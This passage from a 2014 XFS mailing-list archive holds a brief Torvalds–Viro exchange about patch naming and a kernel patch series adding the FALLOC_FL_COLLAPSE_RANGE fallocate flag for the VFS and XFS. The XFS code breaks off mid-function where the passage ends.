4mkgI6GNl5ZlSesdZWTLBEJp1XXOE2yyEp9Q0bJTEBM3MbpH4cdGHuG+fQRBDD588uCq kjI6SU8+brXhM6QPeCXb8V2gk+8nBLkJsJvTqpk/pYRZNlIjvCBamccdKHVRsPwD6K1y z2w6b3gT1vTxYKE25zFm1+gxyn0sYkvG0ipPUV6cQkdjqIxiyJsFrtupuJyQIA5kv/xO HTBw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=J8qGzdpi2nu4yWDtXfJ5mghrSPylDKm/TuqHF31VQP4=; b=DVZ+2kDL69Wyq56gMTqqHmNUmObm0VHuNSIkf/gy5fmr2Yp2uJTHPIVJ6ORJb0af5s ThxwPT2hsYmL/Wrq10GdGvIC//RyGcbqoaaSFdZlczMDx1ehQ9/akQ3UxhGBjrcXuv2q WQbMBXHLQAVy4DpqGED4hRN8j1j5H3ZwMnTcg= MIME-Version: 1.0 X-Received: by 10.58.181.71 with SMTP id du7mr1223591vec.25.1391300016369; Sat, 01 Feb 2014 16:13:36 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Sat, 1 Feb 2014 16:13:36 -0800 (PST) In-Reply-To: <20140201224301.GS10323@ZenIV.linux.org.uk> References: <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> Date: Sat, 1 Feb 2014 16:13:36 -0800 X-Google-Sender-Auth: wpaoTTUqykK6iQVa4vPiImrJ_vA Message-ID: Subject: Re: [RFC] unifying write variants for filesystems From: Linus Torvalds X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems To: Al Viro Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp , Anton Altaparmakov Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f180.google.com[209.85.128.180] X-Barracuda-Start-Time: 1391300017 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144732 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Feb 1, 2014 at 2:43 PM, Al Viro wrote: > > BTW, Linus, when did you comment on that patchset? I've found an iteration > of that patchset circa last October (v9, apparently the latest posted), > but it looks like your comments had either got lost or had been on the > earlier iteration of that thing... I commented on the pull request in November. Something like this: http://lkml.indiana.edu/hypermail/linux/kernel/1311.2/02278.html and then I have a follow-up in a reply to that that at least outlines a few things that could be done to make it less barfy. But judging from your email, you actually went through that patch-series with a finer comb, I don't think there is anything in that commentary of mine that adds anything to yours, apart on a comment on the naming that I hated. Linus From viro@ftp.linux.org.uk Sat Feb 1 20:02:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 800167FAB for ; Sat, 1 Feb 2014 20:02:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6C133304070 for ; Sat, 1 Feb 2014 18:02:56 -0800 (PST) X-ASG-Debug-ID: 1391306570-04cbb00c288b080001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id IA98byOLW7q3YPkw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 01 Feb 2014 18:02:51 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W9mOM-0001QU-Cb; Sun, 02 Feb 2014 02:02:38 +0000 Date: Sun, 2 Feb 2014 02:02:38 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp , Anton Altaparmakov Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140202020238.GT10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391306571 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144735 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 01, 2014 at 04:13:36PM -0800, Linus Torvalds wrote: > On Sat, Feb 1, 2014 at 2:43 PM, Al Viro wrote: > > > > BTW, Linus, when did you comment on that patchset? I've found an iteration > > of that patchset circa last October (v9, apparently the latest posted), > > but it looks like your comments had either got lost or had been on the > > earlier iteration of that thing... > > I commented on the pull request in November. Something like this: > > http://lkml.indiana.edu/hypermail/linux/kernel/1311.2/02278.html > > and then I have a follow-up in a reply to that that at least outlines > a few things that could be done to make it less barfy. > > But judging from your email, you actually went through that > patch-series with a finer comb, I don't think there is anything in > that commentary of mine that adds anything to yours, apart on a > comment on the naming that I hated. Heh... You've actually been a lot more polite than what I started to write on that particular topic. Mine had started with "folks, identifiers should be possible to read aloud, without the people around getting nervous. I mean, ai,ai-ai,owwie-...?" and then got so nasty that I decided to leave the whole thing alone. But yes, references to the importance of remembering the safeword aside, the naming is really atrocious. From linkinjeon@gmail.com Sat Feb 1 23:43:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E73747F52 for ; Sat, 1 Feb 2014 23:43:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B142D8F804C for ; Sat, 1 Feb 2014 21:43:23 -0800 (PST) X-ASG-Debug-ID: 1391319798-04bdf0121e9f830001-NocioJ Received: from mail-pa0-f47.google.com (mail-pa0-f47.google.com [209.85.220.47]) by cuda.sgi.com with ESMTP id rd7IDENGVmY9ANUW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:43:19 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.47 Received: by mail-pa0-f47.google.com with SMTP id kp14so5933756pab.20 for ; Sat, 01 Feb 2014 21:43:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=P/C1/7LQtUoszBkJEFsKATYIcZaB1KlH+tFSM/AsXPE=; b=NbokRlCxEq56PUHfywROIRU28nxUZo4dzqX62mXxo649Sh0VCQdXOqbKa8Gp3GJkzq FJFT7lpZWffDPtt/LXkmZE3biRs0HxNo+Tu/0IQap2dXjNYjuGzkrAOlukvKX+J1dhOP P9lsa7nYDhiO050aktYoHji7aNErPE9zXG6+acPqttSbOC8d2YGCOEzZj0Y6q6GJSTm1 XKjEMEx13Io9xxNFgdfH5rLR60yJR5Aoy/yNcY9KOT5AnsOLpnTFDQOunTT3sIhKmTfm t2gf7gIhailFknKQsR70nojubDNC2CgMiWbmUcwvCH4nSQeN4YthS4w9xgphGnz8koGO Bwkg== X-Barracuda-BBL-IP: nil X-Received: by 10.69.20.139 with SMTP id hc11mr30199107pbd.63.1391319798701; Sat, 01 Feb 2014 21:43:18 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id vn10sm43179411pbc.21.2014.02.01.21.43.15 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:43:17 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon Subject: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 2 Feb 2014 14:41:34 +0900 X-ASG-Orig-Subj: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1391319694-3089-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f47.google.com[209.85.220.47] X-Barracuda-Start-Time: 1391319799 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch series is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be an fallocate operation and not any fs specific ioctl, hence we add this functionality to fallocate. This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate and implements it for XFS and Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Change log v4: - vfs: Move block size aligned check from VFS layer to FS specific layer. - vfs: update comments for FALLOC_FL_COLLAPSE_RANGE in user visible header file. - xfs: update comments for xfs_bmap_shift_extents and change variable name to more reasonable name. - xfs: add ASSERTs for pointers in XFS patch. - xfs: drop all the xfs_bmbt_get*() wrappers. - xfs and ext4: change return errno from EFSCORRUPTED to EINVAL when hole is not large enough to shift. - xfs: remove extents from on-disk btree also in case of merge. - xfstest: separate shared/316 test to shared/001 ~ 004 in xfstest. - xfstest: update multi collapse test shared/005 for block size less than page size case. - manpage: update description. v3: Fix checkpatch.pl errors v2: Fix review points from Dave Chinner. Namjae Jeon (10): fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate xfstest: shared/001: Standard collapse range tests xfstest: shared/002: Delayed allocation collapse range xfstest: shared/003: Multi collapse range tests xfstest: shared/004: Delayed allocation multi collapse xfstest: shared/005: Test multiple fallocate collapse manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:43:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F17F17F52 for ; Sat, 1 Feb 2014 23:43:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BAD8F304051 for ; Sat, 1 Feb 2014 21:43:52 -0800 (PST) X-ASG-Debug-ID: 1391319831-04bdf012209f860001-NocioJ Received: from mail-pb0-f44.google.com (mail-pb0-f44.google.com [209.85.160.44]) by cuda.sgi.com with ESMTP id rhRfamSM54y9lPxe (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:43:51 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.44 Received: by mail-pb0-f44.google.com with SMTP id rq2so5903744pbb.17 for ; Sat, 01 Feb 2014 21:43:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=0ytFP5BqLl9cItOBNE3kWDILCwGZaGzbI+dEx3r4Wm8=; b=EoeQk+IrQdFQ63/JVs3SvYGYtl+Lfnqo+NzCZ4a1ZXANamNBPZvNo6i8oI74EHgiZb KnvZMITDgVyM+p37tUEJ3M9tP9mEdunqo3rDYRLe9l76mywz4mRYXzMpBwgwL6MNG+yF 9q8nTbNUlTQWBlouuyO8LVwh5XTonqePJG8M+yAgeI3K9K4iEZpGtwggP2t5e9xvjNV4 YExtftzHrqFxgqSefL8J4s+tDV5UhgOq1Zhnpyr7odtlcGDX0WzCJF46M0kgKU4EyXsC xJj8ah2SLzb9X9SJZYS+D432dj6ZHCBVukXEc0fdUUfBCklAzQf0a6EXX4MZSH5efZXQ 0fOw== X-Barracuda-BBL-IP: nil X-Received: by 10.68.213.41 with SMTP id np9mr30019478pbc.90.1391319831429; Sat, 01 Feb 2014 21:43:51 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id pp5sm28575893pbb.33.2014.02.01.21.43.48 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:43:50 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Date: Sun, 2 Feb 2014 14:43:41 +0900 X-ASG-Orig-Subj: [PATCH RESEND 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <1391319821-3135-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f44.google.com[209.85.160.44] X-Barracuda-Start-Time: 1391319831 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate. updated detailed semantics in comments. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/open.c | 24 +++++++++++++++++++++--- include/uapi/linux/falloc.h | 21 +++++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/fs/open.c b/fs/open.c index 4b3e1ed..4a923a5 100644 --- a/fs/open.c +++ b/fs/open.c @@ -231,7 +231,8 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ @@ -239,11 +240,20 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) !(mode & FALLOC_FL_KEEP_SIZE)) return -EOPNOTSUPP; + /* Collapse range should only be used exclusively. */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (mode & ~FALLOC_FL_COLLAPSE_RANGE)) + return -EINVAL; + if (!(file->f_mode & FMODE_WRITE)) return -EBADF; - /* It's not possible punch hole on append only file */ - if (mode & FALLOC_FL_PUNCH_HOLE && IS_APPEND(inode)) + /* + * It's not possible to punch hole or perform collapse range + * on append only file + */ + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) + && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -271,6 +281,14 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* + * There is no need to overlap collapse range with EOF, in which case + * it is effectively a truncate operation + */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (offset + len >= i_size_read(inode))) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..5b214cc 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -5,5 +5,26 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +/* + * FALLOC_FL_COLLAPSE_RANGE is used to remove a range of a file + * without leaving a hole in the file. The contents of the file beyond + * the range being removed is appended to the start offset of the range + * being removed (i.e. the hole that was punched is "collapsed"), + * resulting in a file layout that looks like the range that was + * removed never existed. As such collapsing a range of a file changes + * the size of the file, reducing it by the same length of the range + * that has been removed by the operation. + * + * Different filesystems may implement different limitations on the + * granularity of the operation. Most will limit operations to + * filesystem block size boundaries, but this boundary may be larger or + * smaller depending on the filesystem and/or the configuration of the + * filesystem or file. + * + * Attempting to collapse a range that crosses the end of the file is + * considered an illegal operation - just use ftruncate(2) if you need + * to collapse a range that crosses EOF. + */ +#define FALLOC_FL_COLLAPSE_RANGE 0x08 #endif /* _UAPI_FALLOC_H_ */ -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:44:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9F21D7F52 for ; Sat, 1 Feb 2014 23:44:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 837528F804C for ; Sat, 1 Feb 2014 21:44:27 -0800 (PST) X-ASG-Debug-ID: 1391319865-04cb6c6de392980001-NocioJ Received: from mail-pd0-f175.google.com (mail-pd0-f175.google.com [209.85.192.175]) by cuda.sgi.com with ESMTP id J2pmaKYbp8opzTNg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:44:26 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.175 Received: by mail-pd0-f175.google.com with SMTP id w10so5701956pde.6 for ; Sat, 01 Feb 2014 21:44:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=foX+JX9OBb4phAodbuJyFbQPgLc4jaLJLWwF0jpQCcg=; b=J4uVpR8XpuLEgSoDPbBBA8Atb//0p/fF07Q3C/XhwPyg4LM3LqOxcHBkfGNNx9M9Ml Pwzm1v0QAZx/G+Z7ki/gBZmMHljIOZIsbgpuF6ZFEIDYEKgLZr1BSkWsEMsdi0iwqT0H RNz+CXY8+hzTc+qnOmtZE1Atb1obhmmg0j+1h6KitaZQ0ANqw5FUuc4XdztOTTa2bfqb TxCnFD9Dbo08oxorF85PQGaSu9a/IX9fjrJh06bXqw1HNv9BBX72oS3qZf/aTSfskPFo 78dKUEsYb7L+L78kTMWUaI5HhC2V/wp0nHcoGjWH5Z2/vyi7dvl7oTW9Egv2+FVN+2ze D3fA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.29.72 with SMTP id i8mr20897961pbh.116.1391319865252; Sat, 01 Feb 2014 21:44:25 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id nw11sm110463308pab.13.2014.02.01.21.44.22 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:44:24 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 2 Feb 2014 14:44:11 +0900 X-ASG-Orig-Subj: [PATCH RESEND 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1391319851-3169-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f175.google.com[209.85.192.175] X-Barracuda-Start-Time: 1391319866 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/xfs/xfs_bmap.c | 195 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 5 ++ fs/xfs/xfs_bmap_util.c | 99 ++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 19 ++++- fs/xfs/xfs_trace.h | 1 + 6 files changed, 319 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 3ef11b2..aba3fc9 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -5358,3 +5358,198 @@ error0: } return error; } + +/* + * Shift extent records to the left to cover a hole. + * + * The maximum number of extents to be shifted in a single operation + * is @num_exts, and @current_ext keeps track of the current extent + * index we have shifted. @offset_shift_fsb is the length by which each + * extent is shifted. If there is no hole to shift the extents + * into, this will be considered invalid operation and we abort immediately. + */ +int +xfs_bmap_shift_extents( + struct xfs_trans *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, + xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, + struct xfs_bmap_free *flist, + int num_exts) +{ + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec got; + struct xfs_bmbt_irec left; + struct xfs_mount *mp = ip->i_mount; + struct xfs_ifork *ifp; + xfs_extnum_t nexts = 0; + xfs_fileoff_t startoff; + int error = 0; + int i; + int whichfork = XFS_DATA_FORK; + int logflags; + xfs_filblks_t blockcount = 0; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_shift_extents", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ASSERT(current_ext != NULL); + + ifp = XFS_IFORK_PTR(ip, whichfork); + + if (!(ifp->if_flags & XFS_IFEXTENTS)) { + /* Read in all the extents */ + error = xfs_iread_extents(tp, ip, whichfork); + if (error) + return error; + } + + /* + * If *current_ext is 0, we would need to lookup the extent + * from where we would start shifting and store it in gotp. + */ + if (!*current_ext) { + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) start_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) { + *done = 1; + return 0; + } + } + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstblock; + cur->bc_private.b.flist = flist; + cur->bc_private.b.flags = 0; + } else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + while (nexts++ < num_exts && + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { + + gotp = xfs_iext_get_ext(ifp, *current_ext); + xfs_bmbt_get_all(gotp, &got); + startoff = got.br_startoff - offset_shift_fsb; + + /* + * Before shifting extent into hole, make sure that the hole + * is large enough to accomodate the shift. + */ + if (*current_ext) { + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, + *current_ext - 1), &left); + + if (startoff < left.br_startoff + left.br_blockcount) + error = XFS_ERROR(EINVAL); + + } else if (startoff > xfs_bmbt_get_startoff(gotp)) { + /* Hole is at the start but not large enough */ + error = XFS_ERROR(EINVAL); + } + + if (error) + goto del_cursor; + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, + got.br_startoff, + 